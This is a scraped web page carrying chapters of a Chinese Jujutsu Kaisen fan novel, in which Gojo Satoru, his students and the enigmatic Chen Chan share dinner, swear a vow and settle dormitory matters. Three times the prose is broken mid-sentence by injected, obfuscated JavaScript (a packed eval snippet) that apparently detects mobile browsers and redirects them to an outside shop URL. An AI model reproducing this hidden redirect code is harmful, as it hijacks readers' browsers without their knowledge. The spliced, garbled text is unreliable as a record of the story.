l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288087|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的白糖进碗,看得虎杖悠仁目瞪口呆。筷子搅打数下,便将蘸满料汁、黏腻得能够拉丝的,五条特制肉送入口中。
好满足。五条悟高兴得晃来晃去,他决定再也不认可伊地知说的话了!
这位陈先生明明就是一位会随身带糖的成年人嘛,就算没有也能用言灵传送过来。好方便的术式啊……他也想再觉醒一个同款,这样大脑就不会再那么疼了,还能想加多少糖就有多少糖!
“真是雪中送炭啊,该怎么报答你呢?”
陈潺停顿了一下,似乎从来没想过这个问题。
“不需要。”
紫色眼球专注地看着他,五条悟则趁机嘴角下撇,摆出「你居然拒绝我」的失落样子,难过得连猫毛都耷拉下来,全世界都没有比他更伤心的人。
“……”五条悟听见压抑的喘气声 ,紫色眼睛闭上又睁开:“或者,你可以夸奖我。”
“仅仅是夸夸?”猫咪小声闹脾气,“敷衍的大渣男。”
这句控诉把执行官整宕机了。
仿佛被怪谈中的摄影机拍到,陈潺永远成了定格在相框中的人。
本来就白的皮肤更是全无血色,漆黑以极快的速度将紫色吞噬——这回五条悟没有制止,虽然他并不清楚那究竟是什么原理,但对方这种状态时最好看懂。
这正是他想要看到的场面。
就是没想到一句这种程度的抱怨,就能逼出黑色的陈先生。他本来还在计划,是否需要更多触碰、甚至拥抱之类的。
是不是有点太顺利了?
他拉下眼罩,苍天之瞳完全暴露在空气中,引起周围客人的小幅度惊叹。
连老板都被吸引过来,白发苍苍的老妇人身着传统和服,和缓地惊叹,又和缓地赞美——她做什么都是缓慢而沉静的,这使得这家店铺的评分都高了不少。当初五条悟选择这家店,也是出于店主的安静。
“真漂亮。”她双手交叠在胸前,“像蓝宝石。”
蓝宝石回以一个礼貌的微笑,霜雪似的长睫毛将天空收纳其中,这是一双瑰丽到能去参加珠宝比赛的眼睛。不仅老妇人喜欢,陈潺也喜欢——这位原本散发着强烈诅咒气息的、戾气重得仿佛要当场毁灭世界的预备役伙伴,一看到这双眼睛就乖得什么似的……
像什么呢?
五条悟想了一会,没有结果。总之,六眼魅惑猜想得到证实。
恐怕五条家那些老祖宗都没想到吧,六眼不仅能精密操纵咒力,还能精准操控成年人的心。
“陈潺。”
“在。”被叫到的人简短地回复,伴随几个咕哝不清的、很像咒灵的音节。
“你想要什么?”
“……”
“回答我。”
“……”
“果然是渣男啊。”白发术师故技重施。
陈潺慌乱地摇头,原本被五条悟梳理得柔顺服帖的黑发又翘起来。
“不是。”陈潺磕磕绊绊地说,“……我哪里做错了?一定改。”
“马上改。”五条悟在条件上加码,听者忙不迭点头,“那么,务必诚实地说出来——你想要什么?”
■
你想要什么?
这个问题横亘在怪物的整个生命里,决定着他未来的生与死。他需要找到一个活着的意义,这个意义要与全世的负面等重,这样才能令他活下去——或者说,是令「陈潺」这个自我意识活下去。
“不然你的灵魂迟早会被负面概念同化。”这是上司帮他巩固灵魂时下的判词。
陈潺不以为意:“我很厉害。”
“很厉害也会死。”上司深吸一口气,语速极快,让怪物幻视古早小游戏中的豌豆射手,“就当我求你了你能不能找个喜欢的东西让你一看就想起来你是谁?我真的不想面对「天灾」我还想活着看到明天的太阳!”
“……”怪物没再回复。他觉得上司是脑残,怎么可能明天就死。
——死亡当然不可能在后一天到来,但是总有东西可以。
比如同僚的捉弄、比如一本烂尾的漫画、比如一个让他首次体会到「情绪」的角色。
我想要什么?
漆黑滞涩地在眼眶里转动,天灾跪伏于深海之中。
“悟。五条悟。”
9. 家校联谊(9)
“那么,你想要关于我的什么呢?”
五条悟竖起四根手指,一个一个点过去,轻声问:“——眼睛、心脏、性命、权力。有喜欢的吗?”
事先说明,他是故意压低声音的。旁边还有人在大快朵颐呢,五条悟可不想把沉浸在「进食」这种简单满足中的大家吓到,打搅人们的幸福是一种罪过啊。
他又竖起食指抵在唇前,神秘的口吻:“小声回答。我不想让其他人听见,你能做到吧?”
■
瞳孔的缩放、皮下血液的流速……陈潺身体上的每一丝变化,都完整映在彻底显露的六眼中,天空审视着怪物:黑发男人似乎很想皱眉,眼轮匝肌也在高频颤动——这是人试图控制表情时,最容易露馅的地方。
但这些都不是令五条悟指尖发白的原因。
白糖瓶发出细微的咔嚓声。白发术师低头望去,才发觉他已经用力到这种程度——指节泛白,骨节突出,像是攥着什么不想放手的东西。
……真要命。
他决定松开它,于是抬起另一只手,将紧紧缠住瓶身的手指一根一根剥下去。
……又是沉默,真令人恼火。
五条悟看不见自己的表情,但他知道自己需要表现得高兴一点。这里除了笑脸之外,不该出现任何表情。他还是用手检查嘴唇——很好,弧度仍在上扬。今天也是有礼貌的好老师呢!
■
“没有人能、碰触你的性命。”
怪物终于磕磕绊绊地组织完台词。
“你不会死。你的各个部位都属于你、永远。我不会让任何人碰它们。”
很古怪的说法,好像他的身体部位被其他人占据过一样。白发术师思忖着,这是巧合还是预言?据他所知,咒言师是从来不说废话的一群人。
或许他需要再仔细排查一下,这个世界上是否还有新的、能影响「无下限」的咒具了。
——让伊地知帮忙查查相关线索吧。
事不宜迟,五条悟迅速发了一条消息给辅助监督,夜蛾校长的消息也同时弹出来。
结合下午在高专的交流,不用点开也知道不是什么好话。
白皙指尖在Panda头像上悬停一瞬,干脆地按灭手机。
等解决眼前这家伙的问题之后,再跟校长拉扯吧。
五条悟刻意往他想要的方向总结道:“听起来,你会保护我?”
说到保护这个词的时候,最强难免卡顿了一下——谁能保护他?不拖后腿就不错了。
但他还是面不改色地说下去,好在也不会有人发现他的异常,对面那位如木雕泥塑般僵硬,除了呼吸什么也不会。
——或许还会别的,比如宣誓、比如束缚。
■
“我会保护你,让你一直活下去,如果我违背它……”
怪物缓慢地眨了眨眼,瞳孔深处似有一阵颤动,紫色的微茫有挣脱回来的趋势——很诡异的触发条件,五条悟完全搞不清楚原理,但直觉告诉他:不能让对方再说下去,否则事态会朝着他绝对、至少暂时不想涉及的感情向领域里奔去。
已经来不及了。
“我就放逐我的灵魂。”紫色眼睛的陈潺说。
接着无事发生一般地望向那个被白发术师摆在桌面上的小瓶子、以及只吃了一半的牛肉,发出邀请:“过会,我们去吃夜宵吧。”
五条悟:……
五条悟:?
请原谅五条悟实在没反应过来,允许最强也会有偶尔宕机的时刻。
他真的跟不上陈潺的脑回路。
哪有人上一秒发完毒誓、立下束缚,下一秒就在完全没动过筷子的、热气腾腾的寿喜锅面前,说“再去吃顿夜宵”?但陈潺就是做到了,无论是黑是紫都做到了,甚至还抽出空又狠狠夸赞五条悟,跟白天如出一辙的、赞叹式的语气。
“它还是第一次被发现呢。”陈潺伸出手,一缕黑雾缠绕其上,浓郁的、不亚于特级的诅咒气息,甚至有隐隐超越祈本里香的架势,“你真的很厉害。对了,它是……天予咒缚的具象化。”
既然藏不住,那就在被问之前主动说——这就是执行官的诚实之道。
与生俱来的,也算半个天予咒缚吧?
“嗯嗯,然后呢?”
最强知道咒力有无数种塑造的可能性,闻言只是惊奇地挑了下眉,并不反驳他。
“然后,会侵蚀我的生命。”他绕着黑雾,如同蓄长发的人用手指绕自己的发丝一样,“你也看见了,黑色的我,状态并不对劲。但是没有关系,只要最终能醒过来就好。”
“……”
用性命装可怜?
这种「你不小心害了我但没关系」的剧场……好吧,如果主演是陈潺,可以陪他玩玩。
反正最后演不下去,内疚自责到快哭出来的也是陈潺。兴许是某种恶趣味,其实他还挺喜欢的——不出于任何易于看懂的算计心理,单纯喜欢。
五条悟眨了眨眼睛,脸上浮起一点恰到好处的歉意。
陈潺掐头去尾的言论成功令好人低下头颅。本性善良的猫咪深感自己做了错事,很是愧疚地询问道,“对不起。你感觉还好吗?没关系吧?”
蓝眸迅速蒙上一层水汽,最后几个字也颇有哽咽的停顿,沙哑而颤抖。
连怀疑都没有吗?
私欲对上了一片澄澈的关心,比日光还刺目,灼得他不敢直视对方。
“造成发声困难了?我去给你买喉咙药。”说着就作势离开。手臂还在眼前挡了一下,在做什么不言而喻。
哭、哭了?
“停、等等……不,我是想说,你没有做错。”陈潺极力忍耐着想把舌头连根拽出扇两巴掌的欲望,溃败地拽住咒术师,后者眼神清明地俯视他。
“你说会侵蚀,原来是在骗我吗。”听起来极其委屈,实则在偷笑。
“有你在我就一定会醒。”陈潺总算把删减的部分放出来,“所以没有影响。你想怎么玩都行。”
落败方很是狼狈地把头埋进胜者的肩颈里——当然,这是经过默许的。执行官相当乖巧地打手势请示对方,苍天之瞳毫无波澜地弯了弯,算是许可。他重新落座,还把座椅拉近一些。
于是就这么轻松进入了对方的视野盲区。眉眼间残留的愧疚顿时一扫而空。
果然有猫腻吧!要是连这种程度的断章取义都分辨不出来,他早就被老头子们吃得骨头都不剩了——别想轻易糊弄五条老师!
不过,看在陈潺改正速度够快的份上,勉强让他继续跻身在「想信任」之列吧。或许也可以让他帮着处理一些应付老头子的麻烦事?反正他也是总监部成员嘛。
只是这个新束缚有点麻烦啊,代价太毒了。万一遇到意外怎么办呢?人总要有回头的余地,况且他走的道路并不平坦。
“为什么是我?”他最终只问。
——我为什么能让你醒过来?
——还有谁能起到相同的作用?
肩膀似乎被什么柔软的东西扫了一下,触感微凉,是头发吗?是眼泪吗?
“我的心脏选择了你。”陈潺说,“在亿万人之中。”
■
伊地知的消息很快传回:我们所掌握的情报中,已经没有能够影响您的咒具了,五条先生。
然而五条先生此时正忙着和学生一起,监督陈潺吃饭。后者由于进食过于缓慢同时遭到两人抨击——主力是五条悟,虎杖悠仁只敢充当“老师说得对!”这种气氛组。
但仅仅是气氛组,也足够让白发术师高兴了。两个人你一言我一语,配合得天衣无缝,硬是把执行官逼得举双手投降,并保证再也不用筷子把牛肉撕成肉条;更不用菜叶、豆腐与肉条在碗里搭积木。
“也不能拼拼图!”五条悟补充道。
“老师说得对!”虎杖悠仁鼓掌。
陈潺无奈笑道:“我就没有正常吃饭的时候吗?”
“正常吃饭就不会是这个体型了。”五条悟毫不留情地戳穿他,“别想糊弄小悟和小小悠仁。”
“老师说得对!但是,”虎杖悠仁挠了挠头,“为什么我是「小小」?”
五条悟无比诧异地瞪大眼睛,苍天之瞳的瑰丽无需形容,当它露出无辜的时候,少有人能不动摇。
少年漫主角对上这双眼睛也得也败退下来。少年开始怀疑自己了:老师比他大,叫他「小小悠仁」怎么了?「小小小悠仁」也是应该的!
就在虎杖悠仁快要自己说服自己的时候,老师竖起一根手指,在他面前神秘地摇了摇。
“因为我比你高啊。”五条悟压下尾调,但每个字音都是上扬的,“你、还是小孩子呢。”
“我已经15岁了……”
陈潺很适时地插嘴:“那我是小孩子吗?”
五条悟斩钉截铁地说:“你是不好好吃饭的大叔。对吧悠仁?”
当小孩总比当大叔强,有处境更差劲的人,虎杖悠仁立刻就不纠结了,大声附和道:“老师说得对!”
元气型角色有个通病:控制不好音量。
陈潺最讨厌噪音,但这次却没有表现出任何不适。他甚至还腾出手拍了拍少年的肩膀。
“喊得不错。”真心实意地夸道。
却起到了反效果,虎杖悠仁肉眼可见地蔫了下去,好像做错了什么似的,缩起肩膀,做出即将道歉的姿势——被白发术师拦住。
“你监护人、他私底下就是那样一个不会说话的家伙啦。”五条悟帮忙解释道,“你没做错什么,他真在夸你呢。”
“诶?”
粉发少年不太能理解,陈潺能夸他什么?而且,无论从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288088|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪个角度来看都是他做错了吧?身为一个小辈却跟着起哄,没礼貌地说一位看起来很年轻的长辈是大叔……
“你有在听五条的话……”
陈潺刚解释到一半就被白毛蓝眼大猫截断,后者严肃命令道:“吃完饭之前不许说话!”又示意虎杖,让他照旧当气氛组。
不会出事的。他用眼神示意道,反正是我带着你在玩呀,陈先生真不高兴也是我来负责。
少年也学着挤眼睛:可是,那不就成老师您的错了吗?
白猫比划:五条老师才不会犯错啦,你就等着瞧吧,悠仁同学。
在学生的注视下,五条悟清咳两声,摆出一个夸张的、歌剧表演中才会出现的邀请动作,手递在陈潺眼前:“现在,特批你开口,然后回答我一个问题:你认为五条悟是否会犯错?”
陈潺用餐巾纸擦了擦没沾上任何污秽的手,配合地放上去。
“不会。”
“很好!那么,跟随五条悟的是否会犯错?”
“只有他们没做好的可能性。”在六眼的注意下,陈潺用余光扫了粉发少年一眼,“不会是指挥人的错。”
“你还真是偏心啊。”
“这是真理。但我确实可以罹患偏心病——如果你是认真说出这句话的。”陈潺用实际行为验证五条悟不会犯错的真理,他已经做好成为患者的准备。
永远不会犯错之人握住陈潺的手,孩子似的上下摇晃,并得意地笑起来。
“悠仁相信了吗?他真的在夸你!”
来自乡下的粉发少年目瞪口呆。
——这是朋友吗?
你们大城市的朋友都是这样的吗?
■
但他们还真是朋友,联系方式都没加的那种朋友。
按照朋友之间的社交礼仪,吃完饭就该各奔东西了。但陈潺完全没有要离开的意思——五条悟也不管他,总之,他们又回到了咒术高专,来给吃饱喝足的转学生安排宿舍、这不算什么麻烦事,高专宿舍又多又大,偏偏学生少得可怜,随便找一间就能拎包入住。
但陈潺却不太有精神的样子,细问才知道,是在怕朋友休息得不够,第二天头疼。听到这个答案,五条悟有片刻的愣神,已经很久没有人,把他会头疼这件事看得重要了。
或者说,从他适应六眼的力量开始,就没有人再会注意「疼痛」,这点微小的副作用。
六眼、无下限,这是上天给他的礼物。五条悟从来都是好好珍惜礼物的人。而其他人,则更希望自己也能获得相同的礼物吧——他不想做更难听的假设,也不想回忆得太仔细。
“别介意,明天可以吃新的甜品嘛。”咒术师无所谓地摆手,“再说了,不是还有你的言灵吗?你不会不管我吧。”
陈潺:“……”
怕什么来什么。
“好啦,欢迎来到——学生宿舍!”五条悟的手臂搭到他肩上,熟稔得像做过一百次,“开心一点,我又不是故意不休息的,是需要我处理的事情太多了。说起来,明天还有件要紧的事,得委托你帮我做呢。”
“好。”
“诶,问都不问?”
“你做得都是正确的。”陈潺的语气如同在叙述一件天经地义的事。
“好吧,真拿你没办法,手机给我。”手伸过来,陈潺就真给,甚至没有密码——这不会是备用机吧?
然而看到对方通讯录里一排的「脑残」,头像还是自己最深恶痛绝的老橘子们,饶是成年人,也会发出青年般幼稚的大笑。
是不是备用机也不重要了,反正它是用来联系咒术界的。而且——
五条悟留下自己的联系方式。
——说好要试着信任对方的。
“你怎么给他们备注这个啊!总监部的陈先生,我要以正义之名,谴责你不懂礼貌!”
“脑残都抬举他们了。”陈潺一本正经地在空气里划出几个方块,“等我们改革成功,我就开一个精神病院,把他们都关进去。当然,会按照正常养老院的配置供给——这群老头子,无论是放回老宅、还是流窜在社会里,都会造成隐患。”
很少会有人和五条悟聊改革之后的事情,实际上,跟他聊理想的人都寥寥无几。
突然出现一个人,理所应当地默认他的理想绝对正确、必定实现,像谈论既定事实一般说着未来的、改革后的世界……五条悟深吸一口气。在气体沉入肺底的瞬间,他想起许多人。
有的死了,有的还活着。
但无论是死是活,都走向了一条跟自己截然相反的路。
“陈潺。”白发术师突然喊他的名字,比念咒语还严肃。
“在。”一如既往的回复,也不问他要做什么,只是反复重申一个「我在你身边」的事实。
“你可别轻易死掉啊。”
10. 家校联谊(10)
“你在害怕吗?”陈潺问,“你之前已经让我活久一点了。”
他知道五条悟是个达观的人。但从如今的表现来看,或许要推翻过往的认知。
比如,允许达观的人也有「害怕大家死亡」的情绪,于是不希望有人死掉,想要保护大家。
“也不算害怕吧,毕竟谁都有可能偷偷丧命。”五条悟说,“我只是不想看到死亡。”
“最开始呢?”
“你是说我很小的时候?”白发术师呈思考状,捏了捏下巴,“那肯定怕啊。你要是很想听,那就等一会再细说,现在有更要紧的事。”
说完就一脸肯定地在某扇门前停驻、推开。
陈潺花了点时间反应,才明白这里就是伏黑惠隔壁的宿舍——五条悟是在肯定自己的记忆力。
“我已经很久没来了。悄悄跟你说,上一次来还是给惠安排入住呢,那孩子随便指了一间,就挑中这里采光最好的。”五条悟自豪道,“怎么样,我的学生很厉害吧?悠仁以后也会变成很厉害的大人。”
说着就把小尾巴似的、缀在他们身后的粉发少年推进房门。而善良的少年漫主角听见「惠」这个字,就像触发了什么关心同伴的底层代码,一步三回头地询问别人的情况。
“老师,伏黑住在哪里啊?他之前受伤了,我明天想去看看他。”
“就在你隔壁哦。我可是最最最贴心的老师,早就考虑到年轻人的友谊问题啦。”
“噢噢!不愧是五条老师,最厉害了!”
……
陈潺默默堵住耳朵。
怪物还是一如既往地讨厌噪音,倘若让他画出一个噪音的范畴,那么他会把整个世界框进去,再把五条悟单独框出来。
赶紧结束吧,他一点也不想知道五条悟有多么看重他的学生。
早知道入学咒术高专,还能被五条老师在一排长的一模一样的门中,精确分辨出自己的———现在编一条背景线说自己是高专毕业生还来得及吗?
■
宿舍比预想中大,大得有点浪费。
入目是一张绝对超出普通单人床规格的单人床,还有独立的洗浴空间与书桌,比有些星级酒店的装潢都讲究。虎杖悠仁眼睛亮晶晶的,以肉眼捕捉不到的速度摆放行李,等他的身影终于定格下来时,女明星的海报都贴了一半。
很有活力的场面,但监护人只顾着玩吧唧。陈潺预估了一下剧情时间,大致结束的时候才抬头,转向五条悟。
正好对上一只不知道盯了自己多久的苍瞳。对方又犯规地拉起眼罩。
银白睫毛蝴蝶似的吻过他的侧脸,这么近的距离——?!
“我们出去说。”温暖、湿润的气体钻进耳孔,怪物有些痒,但不敢动弹,“小时候的故事,不适合讲给学生听,我很好面子的,泄露出去就拉黑你哦。”
没有联系方式怎么拉黑……?等等!
他惊讶地表情都有些失控,五条悟刚好整理完眼罩,得意地勾了勾嘴角,下巴一抬。
“怎么,你不想加大帅哥教师五条悟?”
“谢谢。”
他们同时出声,这导致陈潺更加焦躁——但这次有人阻拦他。五条悟大方地送他一个栗子,弹得皮肤立时红肿发烫。执行官下意识地双手捂头,掌下伤口悄悄愈合,绝不能让猫咪以为他是个会拖后腿的脆弱人类。
这一切当然都逃不过六眼,但五条悟没拆穿他。或许是因为这副忧心忡忡又略显呆滞的神情很少见,或许是对方双目瞪圆的样子很可爱,幼犬一样的稚气。
“不要动不动就变色啊。”漫不经心地拍拍他的发顶,“「学长」不是都很稳重的吗?”
“抱歉,我平时不……”
“出去说。”
五条悟伸出食指,抵住陈潺仍在翕动的嘴唇。他没有赖在学生宿舍里谈话的恶习,大人的事情还是大人私下交谈比较好——包括大人之间的感情。
但出去也……
陈潺抢先一步推开门,刚好跟一个毛发爆炸的海胆头对上视线。伏黑惠似乎很诧异,不着痕迹地退后一步,双臂抱起。白发术师就在此时从陈潺背后冒出来,而他背后又紧跟着一个跳起来、试图往外面看的虎杖悠仁。咒术界有自己的套娃。
陈潺:“……”全世界都在阻拦他认识小悟。
强忍着不忿,他松开门把手,退让到走廊的另一边,将门口的那一小片地方让给师生三人。怪物自觉从来没这么有人性过,深呼吸,这是五条悟最喜欢的学生们。
不要生气、至少表面上不要表现出来……要宽容。
对,宽容。人类都喜欢拥有这种特质的生命。
怪物决定宽容地站到阴影里。有夜色帮忙遮挡,谁也发现不了他脸色有多难看。
■
“一股酒足饭饱的味道。”
伏黑惠冷脸打量一圈两人,最终视线定格在五条悟身上。
“别告诉我,你们是好好玩了一圈才想起来要做正事的。”
虎杖悠仁原本想快活地跟他打招呼,闻言愣了一瞬:吃饭难道不是正事吗?
但换个角度思考好像也对,任何人在转学的第一时间都是先安排好学校的事吧……可这是老师请客的啊,老师又不会害学生。
少年这么想,也就这么说出来了:“五条老师带我们去吃饭的。”
我们。
伏黑惠仿佛这才注意到这里站了第四个人——哪怕早就撞见。但仍旧是当对方不存在。
开门的时候他就看见了,那家伙胸前的吧唧……好恶心,是个眼睛不太好的狂热追星族吧?
居然戴着这种东西招摇过市。
估计是个名不见经传的低级术师,不然能跟着五条悟胡闹?
“少跟他们鬼混。”伏黑惠好心地提醒同期,又瞥了白发术师一眼。
其中怨怼几乎都要溢出来,“这么多宿舍,偏偏安排到我隔壁住,真是会给人添麻烦——而且,你知道现在几点了吗?”
东京时间20:30。
“这么晚的时间,身为老师,居然在伤患隔壁搞装修吗?”伏黑惠指着自己头上缠着的绷带,弦外之音不言自明,无非就是五条悟打扰他休息了,当老师不称职。
“老师也没想到惠会在这个点睡觉嘛。”
五条悟耸了耸肩,完全没把学生的冷言冷语当回事。有起床气的小孩子而已嘛,反正最后惠会高兴的,毕竟悠仁可是让他说出「私情」的人。
“总之,就住在你旁边啰,以后要好好相处哦。”他欢快地说。
■
但是,这样不行。
罕见的,陈潺将视线放在除五条悟之外的人身上——虽然只是余光,但已经是非常人性的监护爱了:粉发少年满脸困惑,同龄人还在他身边,止不住地冷声抱怨教师的轻浮、散漫、自我主义。五条悟也不反驳什么,如果真的打扰到惠睡觉,那确实是他考虑不周全。
虽说21点之后还得赶去出个任务,但别的方法也不是没有,比如让陈潺收留这孩子一晚。
呃、他怀疑了一下监护人的秉性。对方可是自称「不会有后代」的、目前只对自己好说话的家伙。真让陈潺照顾他,估计就是随便安排个客房说“自便”的冷漠大人吧!那还不如他帮虎杖订个高级酒店呢,至少能提供早餐服务。
嗯嗯,下次就这么办好了。要是还有稀奇古怪的转学生,时间不太适合的话,就送去酒店。
或者委托伊地知早些送过来?
但吃饭也很重要。第一天就吃食堂,那也太凄惨了吧。
“你到底有没有听进去啊?五条先生!”伏黑惠质问道。仿佛忍耐到极致,又碍于学生的身份拿对方毫无办法,只能被不负责任的老师打扰。
“嗯?你说完了啊…那晚安。”五条悟从沉思中脱离出来,“受伤了就快回去吧。”
若是不明情况的、没有立场的人听见这个回答,更会觉得五条悟是个毫无同理心的烂人吧。
明知道学生受伤,却还在这个——硬要说也能算晚间时分的节点上,带新生入住。
而且还安排在伤患的隔壁!还是在有一排校舍亟待挑选的情况下!
瞧吧,果然有人露出了些许认同的表情。
陈潺换了个姿势,这样能更完整地看见虎杖悠仁。这位就是典型没有立场的人,一方面年龄太小,另一方面缺乏指引。这种人最忌讳的就是拥有善心,善良只会降低他们的敏锐度,让他们成为某种意义上的中立分子——这边是同伴、那边是老师,大家都是好人,只是性格迥异而已,没有任何问题的!
真的没有吗?大家要真是好人,五条悟也不会这么多年一个同伴都没有。
也不会在最后把遗志,托付给你这种人格未成熟的小孩子。
……等等,先别想了,不要回忆那些。
阴影深重地起伏着,怪物按住怦怦狂跳的心脏,找回一点稀薄的理智。
现在的悟是活着的,未来可以被改变。
所以,冷静下来,你要做的是帮助他完成一切。但是现在有人要损害五条悟的形象、扭曲「五条悟」在新生心目中的影响与立场,你要怎么办?
在不起到反效果的范围里,解决这件事吧。
理智向他下达命令。
——你要在成为五条悟的同伴之余,帮他找到新的、真正的同伴。
——他的理想需要更多人。
■
“总之,做好你自己的分内之事,不要推给我。”
伏黑惠撂下一句话,转身欲走。他实在是跟这个轻浮的男人聊不来,仗着实力是最强,就理所应当地把所有事情都推给自己!
——却被抓住了肩膀。
姿势自上往下,说明扣住他的人比他要高很多。
“伏黑……惠,我没认错吧?”
寒毛乍立。
他居然在毫无知觉的前提下,被近身,还动弹不得,这家伙至少也有准一级——不,就是一级咒术师!
少年猛然回头,却看不见对方的脸。夜色偏爱这个改革派术师,将其身形遮掩得密不透风。
白色玉犬几乎是下一瞬便出现在走廊中,威胁性地低吼着。
“啊,小动物?很可爱,不愧是十种影法术——”
看不清脸的家伙悠悠开口,声线处于动听与古怪之间,如同深海生物的长鸣。喜欢的人会非常喜欢,不喜欢的人则会浑身发毛,伏黑惠就属于后者。
“五条悟跟你说的?”
“记得说敬语嘛,禅院很尊重礼仪的。你可是直毘人期待的好孩子呢。”
陈潺总算放开他的肩膀,用同一只手不轻不重地拍着玉犬的狗头,仿佛它和它的主人只是在玩家家酒似的。狗恨得咬牙切齿,又不敢真的动嘴,只能虚张声势地汪汪吠叫。
这似乎给了怪物一个往前走的理由。
他终于从夜色中现形,稀薄的月光笼在脸上。伏黑惠总算看清这人的样貌——他不会注意一个附庸五条家的低级术师,但认识禅院家主的、又和五条悟一起来高专的高级术师,这就不得不上心了。
哪怕他内心深处抵触对方,哪怕术师的直觉也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288089|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
令他隐约感知到——对方正在思索从哪里下口,能不被发现、完美犯罪地咬断他的脖子。
那是一张漂亮到过分的脸。肤色白得发寒,像从来没见过太阳的病人。瞳孔是罕见的紫,伏黑惠从不知道现实中还有人能长出这种眸色——完全不符合现代生物学,神话故事里倒是有不少。头发倒是跟正常人一样,不然伏黑惠都要怀疑这家伙究竟是人是鬼。
“惠是我的养子兼学生啦。”还得五条悟出来解围,“伊地知没有跟你说吗?”
没有任何怪罪的意思,这是一句再平常不过的询问。
陈潺微不可察地松了口气,旋即摇头。
“没有,只跟我说姓伏黑。”
“这样啊,倒也无所谓。毕竟这种御三家之间的事情,还是少一些人知道比较好。”
说完便俯下身去。
伏黑惠眼睁睁地看着他的老师——白发蓝眼的最强,毫无芥蒂地将手覆盖在那个新面孔手背上,两个身量超过一米九的男人就这么交叠着摸他的式神、嘴上还胡乱说着什么“小狗真可爱啊”“毛发很软呢”,拜托,你们之中有一个人根本就没碰到狗吧?
虎杖悠仁也凑上来,狗头被他的长辈们占了,他就把自己埋在玉犬毛发浓密的背上。
“好狗狗!我们又见面啦!”
“又?”
陈先生毫不知情似的,拎出这个单字在唇舌间徘徊一会。五条悟闻言,用指腹敲了敲他的手背:“你有什么想知道的,直接问我。我当时也在场。”
这就是在维护学生了。陈潺轻轻叹气:“你在不高兴吗?”
“嗯,有一点。”五条悟压低声音,“车上的时候,你就特意问过伊地知关于惠的事情——陈先生,无论是据传闻还是从目前来看,你都不是很爱打听的性格。况且,你对惠完全不感兴趣吧?所以,为什么要问呢?”
因为这白眼狼对你不好啊。
但不能真这么说。陈先生垂下眼帘,把那双容易变色的、总是暴露主人情绪的眼睛遮掩住。
他没有随着刻意放低声音,所有人都能听见。这令后者有些讶异,很快又汇聚成无奈的笑意,堆积在唇边。
“因为那个判决——五条,你应该知道我说的是什么。”陈潺说,“我有意帮你和你的学生,所以我需要知道事情的真相:为什么一个二级术师,无法杀死出现在那里的二级咒灵,需要让宿傩来解决?”
■
「一个二级术师解决不了二级咒灵,谁给他判的等级?」
「还把要回收的咒物交到普通人手里,让普通人吃下它!」
「老朽认为,术师伏黑惠有主观意愿上纵容两面宿傩受肉的嫌疑……」
主观有罪。
老头子们就是这样不通情理,虽说惠没能解决那个咒灵,但咒物失窃时,惠是第一时间通知到他,而他也是第一时间赶到的——五条悟把这些情况都一五一十地说明了,那最终也被判了一个主观上的罪名,不然为什么二级术师杀不死二级咒灵?
等级重审!
开除学籍!
每个都是针对五条悟的杀招。高层的心思昭然可揭:剪除五条悟的羽翼,孤立改革派。
“——但是惠从来没说过要跟我一起。”五条悟习惯性解释道,说完才想起来眼前之人是一位把他挂在胸前的、立场分明的改革派。
是伙伴啊。
真是久违的称呼,他一时都想不起来。
“而且惠才15岁,遇到特级咒物丢失这样的重大事件,慌张一点也情有可原。况且,我后来不是也去了吗?悠仁也是我做主才保下来的——但高层仍然要追究惠。这也是我刚才说过的,想委托你帮忙解决的事。”
他移开按住陈潺的手,望向学生们。两个少年听到大人们的秘辛,全部愣在当场。
“真是的,我原本不想让你们知道。都怪旁边这家伙,毫无大人的风度。但知道也没关系啦,做咒术师迟早要跟上层纠缠不休的,不要自责,尤其是惠。你已经做得很好了,当初都做出超级——不详的手势了。好啦,时间真的不早了,都回去休息吧。”
五条悟给两个孩子一人拍了一下,力道很轻,估计是刻意照顾伤号了。
“晚安。明天我们去接新同学。不干净的事情就交给大人处理——等等,你会帮忙吧?”
见伏黑惠又露出一点无语的苗头,陈潺故意没说话,他打算在言语上等粉发少年的反应。
如果虎杖悠仁还左右摇摆,跟谁都能当好朋友,那么——
怪物将很乐意帮助总监部处死他、和他体内的宿傩。
帮助而已,不会触犯束缚的。
五条悟也不着急,最强早已读懂同伴给出的暗号:陈潺解下吧唧,将其双手合十置于五条悟掌中,再佩戴回去。这是欧洲效忠礼的变形,表达封臣对封君的服从。
最强忙里偷闲地打开手机,不妙,只有十五分钟了,“我先走……”
“是有任务吗?一会我帮你做。明天要接新同学的老师,晚安。”
“……”这次轮到五条悟沉默,迟疑一秒,摇摇头。
“没关系,我也是特级。”陈潺展示了一下相册里的咒术师证件。
猫咪立时高兴得跳起来。
“那拜托你了!以后我要维护你当「外国派」!”
陈潺失笑。虎杖悠仁也做出令他满意的举动——不赞成地远离同期,往老师的方向靠近,仿佛那就是他的理想与安身之所。
可以,那就再观察他几天吧。
“不了,我还是更喜欢五条。”
11. 吠非其主(1)
东京时间21:05。
剧烈扬起的粉尘与黑雾交织在一起。
